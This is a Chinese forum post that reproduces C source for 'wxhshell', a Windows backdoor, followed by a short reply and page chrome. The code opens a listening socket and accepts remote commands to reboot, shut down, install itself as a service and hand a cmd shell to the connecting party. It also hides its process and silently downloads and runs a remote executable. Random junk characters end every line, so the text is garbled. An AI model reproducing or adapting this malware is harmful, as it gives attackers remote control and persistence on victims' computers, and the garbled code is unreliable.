  if(DownloadFile(cmd,wsh)) 2N)vEUyDV  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); k7W8$8 v  
  else .WG@"2z|  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); C!Tl?>Tt  
  } qVM]$V#e  
  else { $<33E e:a  
Uc9Uj  
    switch(cmd[0]) { g]d"d  
  =ARI*  
  // 帮助 #),QWTl3  
  case '?': { oN _% oc  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); {I2jLc  
    break; kc "U)>  
  } PiH#9X B  
  // 安装 [|F.*06SK  
  case 'i': { ! B)Em  
    if(Install()) vB.LbYyF  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); Qgf_  
    else ied<1[~S  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); z1]RwbA?1  
    break; rqa;MPl  
    } !EKF^n6  
  // 卸载 : wn![<`3q  
  case 'r': { $fh?(J  
    if(Uninstall()) ,[ Ytl  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0);  &$+yXN  
    else Jn:GqO  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); Y,&)%Eo<  
    break; Z3#3xG5pl  
    } "HYK~V  
  // 显示 wxhshell 所在路径 2'@0|k,yC  
  case 'p': { ZGp8$Y>r  
    char svExeFile[MAX_PATH]; Y+G4:  
    strcpy(svExeFile,"\n\r"); ul% q6=f)  
      strcat(svExeFile,ExeFile); TkQ05'Qc  
        send(wsh,svExeFile,strlen(svExeFile),0); 3cOXtDV YT  
    break; e|kYu[^  
    } (cCB3n\20  
  // 重启 ^rxXAc[  
  case 'b': { LL,~&5{  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); v=X\@27= ?  
    if(Boot(REBOOT)) oHa6fi  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); Pp.X Du  
    else { "kN5AeRg  
    closesocket(wsh); %OzxR9  
    ExitThread(0); K): )bL(B  
    } 7tt&/k?Q  
    break; #D}NT*w/  
    } H ($=k-+5  
  // 关机 ~i(*.Z) \  
  case 'd': { 4Q!*h8O  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); Ig9$ PP+3  
    if(Boot(SHUTDOWN)) nq$^}L3&~  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); L:%h]-  
    else { 0,VbB7 z  
    closesocket(wsh); thq(tK7  
    ExitThread(0); %_/_klxnO  
    } ?EtK/6dJZt  
    break; 4l z9z>J.V  
    } duwZe+  
  // 获取shell $%!]tNGS  
  case 's': { NVOY,g=3X  
    CmdShell(wsh); Q04N  
    closesocket(wsh); g/T`4"p[H  
    ExitThread(0); +i K.+B  
    break; ,':?3| $c  
  } 5$9j&&R  
  // 退出 rgOB0[  
  case 'x': { Z/2#h<zj  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); ,NVQ C=  
    CloseIt(wsh); Z4rK$ B  
    break; X+hyUz(%R  
    } t4 aa5@r  
  // 离开 M'[J0*ip  
  case 'q': { CaK 0o*D  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); h],_1!0  
    closesocket(wsh); X}S<MA`  
    WSACleanup(); 6rR}qV,+{  
    exit(1); -1U]@s  
    break; 1 "4AS_Q  
        } 2.2 s>?\  
  } |qZ4h7wL  
  } Aw >DZ2  
!$&K~>`  
  // 提示信息 U?.VY@  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); '{ C=vW  
} `qUmOFl  
  } `A?/Ww>;  
V}Oxz04  
  return; /J5wwQ (:  
} LnM+,cBz  
E*k=8$Y  
// shell模块句柄 G0<m3 Up  
int CmdShell(SOCKET sock) ek3/`]V:  
{ r1t  TY?  
STARTUPINFO si; c!6.D  
ZeroMemory(&si,sizeof(si)); HbV[L)zYG  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; Vbz$dpT  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; wl}Q|4rZ  
PROCESS_INFORMATION ProcessInfo; -u8 ma%JW  
char cmdline[]="cmd"; $,bLb5}Qu  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); * y u|]T  
  return 0; @0+@.&Z  
} fF<~2MiKw  
i]YH"t8GY  
// 自身启动模式 ^|OxlfS  
int StartFromService(void) j].XVn,  
{ VYik#n>|Gp  
typedef struct dTS 7l02  
{ qJrK?:O;  
  DWORD ExitStatus; 'BtvT[KM  
  DWORD PebBaseAddress; j#.Aiy:,  
  DWORD AffinityMask; 2gukK8R$  
  DWORD BasePriority; >~2oQ[ n  
  ULONG UniqueProcessId; FzW7MW>\x  
  ULONG InheritedFromUniqueProcessId; C+jlIT+  
}   PROCESS_BASIC_INFORMATION; )g+~"&Gcx  
1@;Dn'  
PROCNTQSIP NtQueryInformationProcess; "){"{~  
P;][i|x  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; }eSaF@.  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; THkg,*;:  
>pUR>?t"  
  HANDLE             hProcess; wNq#vn  
  PROCESS_BASIC_INFORMATION pbi; ;MR8E9  
3Vs8"BFjz  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); H $XO] \  
  if(NULL == hInst ) return 0; |+f@w/+  
'H zF/RKh  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); /Rf:Z.L  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); <0T|RhbY   
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); 6 -N 442  
(gQP_Oa(  
  if (!NtQueryInformationProcess) return 0; Rcc9Tx(zvQ  
xo a1='  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); 3c}@_Yn  
  if(!hProcess) return 0; fl9`Mgu  
3fM8W> *7  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; I w~R@,  
Xq@Bzya  
  CloseHandle(hProcess); n#|ljC  
_<qe= hie!  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); #~BsI/m  
if(hProcess==NULL) return 0; =+DfIO  
#p*D.We  
HMODULE hMod; DS%~'S  
char procName[255]; n 9PYZxy  
unsigned long cbNeeded; s'b 4Me  
Y 3h`uLQ  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); FC@h6 \+a  
?(0=+o(`  
  CloseHandle(hProcess); qILb>#  
^CO{86V  
if(strstr(procName,"services")) return 1; // 以服务启动 ~G,_4}#"pM  
;-#2p^  
  return 0; // 注册表启动 G5vp(%j  
} FUzN }"\1  
t-B5,,`  
// 主模块 \2)D  
int StartWxhshell(LPSTR lpCmdLine) ;x%"o[[>  
{ SO4?3wg7  
  SOCKET wsl; G!dx)v  
BOOL val=TRUE; fG9 ;7KG  
  int port=0; @ <(4J   
  struct sockaddr_in door; $>Qq 7  
g&z8t;@  
  if(wscfg.ws_autoins) Install(); E@,m +  
N,W ?}  
port=atoi(lpCmdLine); 'HKDGQl`  
u}3D'h  
if(port<=0) port=wscfg.ws_port; 6~c#G{kc  
,_iq$I;  
  WSADATA data; `OFW^Esc  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; 17$'r^t,S  
jaw&[f 7  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   xP4}LL9)  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); e[ yN  
  door.sin_family = AF_INET; ^G|* =~_  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); vMd3#@  
  door.sin_port = htons(port); o1`\*]A7J  
I+=+ ,iXhB  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { p<1y$=zS  
closesocket(wsl); `+z^#3l  
return 1; A]Bf&+V  
} Jvc:)I1NE7  
 bTU[E  
  if(listen(wsl,2) == INVALID_SOCKET) { w=pr?jt1:  
closesocket(wsl); HS[($  
return 1; Q2/65$ nW  
} /sfJ:KP0  
  Wxhshell(wsl); pHT]2e#  
  WSACleanup(); G %'xEr0n  
.G.WPVE  
return 0; '2GnAws^  
nv0\On7wd  
} #u}%r{T  
t0+i ]lr  
// 以NT服务方式启动 K!]a+M]>  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) c {/J.  
{ 84vd~Cf 9  
DWORD   status = 0; wBcoh~ (y  
  DWORD   specificError = 0xfffffff; !_vxbfZO  
SE'!j]6jI  
  serviceStatus.dwServiceType     = SERVICE_WIN32; Z\?2"4H  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; l+[:Cni  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; LH)XD[  
  serviceStatus.dwWin32ExitCode     = 0; lD[37U!  
  serviceStatus.dwServiceSpecificExitCode = 0; Fvf |m7  
  serviceStatus.dwCheckPoint       = 0; ~: {05W  
  serviceStatus.dwWaitHint       = 0; M@#T`aS  
9.8%Iw  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); vfc:ok1  
  if (hServiceStatusHandle==0) return; XEQTTD<  
;-6-DEL  
status = GetLastError(); |GtvgvO,  
  if (status!=NO_ERROR) y{S8?$dU$:  
{ d2V X\  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED;  V\o7KF  
    serviceStatus.dwCheckPoint       = 0; V:$+$"|  
    serviceStatus.dwWaitHint       = 0; RFMPh<Ac  
    serviceStatus.dwWin32ExitCode     = status; =e4 r=I  
    serviceStatus.dwServiceSpecificExitCode = specificError; |~r-VV(=  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); T5 (|{-  
    return; tLBtE!J$[  
  } =A.$~9P  
z%OKv[/N  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; @^xtxtjzux  
  serviceStatus.dwCheckPoint       = 0; 4);_f  
  serviceStatus.dwWaitHint       = 0; %8,$ILN  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); PVsKI<  
} 7 !$[XD  
s{-gsSmE  
// 处理NT服务事件,比如:启动、停止 MF8-q'upyT  
VOID WINAPI NTServiceHandler(DWORD fdwControl) =j62tDS  
{ =5q<_as  
switch(fdwControl) d=/0A\O  
{ J0?kEr  
case SERVICE_CONTROL_STOP: |M7cB$y  
  serviceStatus.dwWin32ExitCode = 0; qx t0Jr8  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; X_]rtG  
  serviceStatus.dwCheckPoint   = 0; BH">#&j[  
  serviceStatus.dwWaitHint     = 0; O2?C *  
  { 1@DC#2hPr  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); >#w;67he2  
  } ZEAUoC1E1  
  return; JVYH b 60Z  
case SERVICE_CONTROL_PAUSE: ;f =m+QXU  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; Ho>Np&  
  break; r-<O'^C  
case SERVICE_CONTROL_CONTINUE: dE7S[O  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; ^U }k   
  break; x@t?7 o\&  
case SERVICE_CONTROL_INTERROGATE: z3Q&O$5\  
  break; .\n` 4A1z  
}; +n)n6} S  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); T.4&P#a1  
} m1l6QcT1  
"9wD|wsz  
// 标准应用程序主函数 Dwp,d~z  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) m^k0j/  
{ !y= R)k  
-QrC>3xZR  
// 获取操作系统版本 Mfj82rHg  
OsIsNt=GetOsVer(); ,%M[$S'  
GetModuleFileName(NULL,ExeFile,MAX_PATH); A*EOn1hN  
Rff F:,b  
  // 从命令行安装 FTf#"'O  
  if(strpbrk(lpCmdLine,"iI")) Install(); v $Iw?y  
''y.4dvX  
  // 下载执行文件 u^1#9bAW8  
if(wscfg.ws_downexe) { KJA :;   
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) v1 .3gzR  
  WinExec(wscfg.ws_filenam,SW_HIDE); CkT(\6B-  
} DxJ;C09xNa  
]:P7}Kpb  
if(!OsIsNt) { nlwqSXw  
// 如果时win9x,隐藏进程并且设置为注册表启动 xu2 KEwgb  
HideProc(); |eqBCZn  
StartWxhshell(lpCmdLine); \D7bTn  
} qqrjI.  
else V' Gal`  
  if(StartFromService()) 'X^auyL  
  // 以服务方式启动 Y`;}w}EcgR  
  StartServiceCtrlDispatcher(DispatchTable); F5h/>  
else FSIiw#xzH  
  // 普通方式启动 5(3O/C{?~  
  StartWxhshell(lpCmdLine); +0'F@l  
fw%`[( hK  
return 0; CSO'``16  
}
评价一下你浏览此帖子的感受

精彩

感动

搞笑

开心

愤怒

无聊

灌水
级别: 大掌柜
发帖
7343
铜板
6618
人品值
1388
贡献值
28
交易币
100
好评度
7488
信誉值
10
金币
0
所在楼道
学一楼
只看该作者 1 发表于: 2006-10-10
学习一下 呵呵
描述
快速回复

您目前还是游客,请 登录注册
欢迎提供真实交流,考虑发帖者的感受
认证码:
验证问题:
10+5=?,请输入中文答案:十五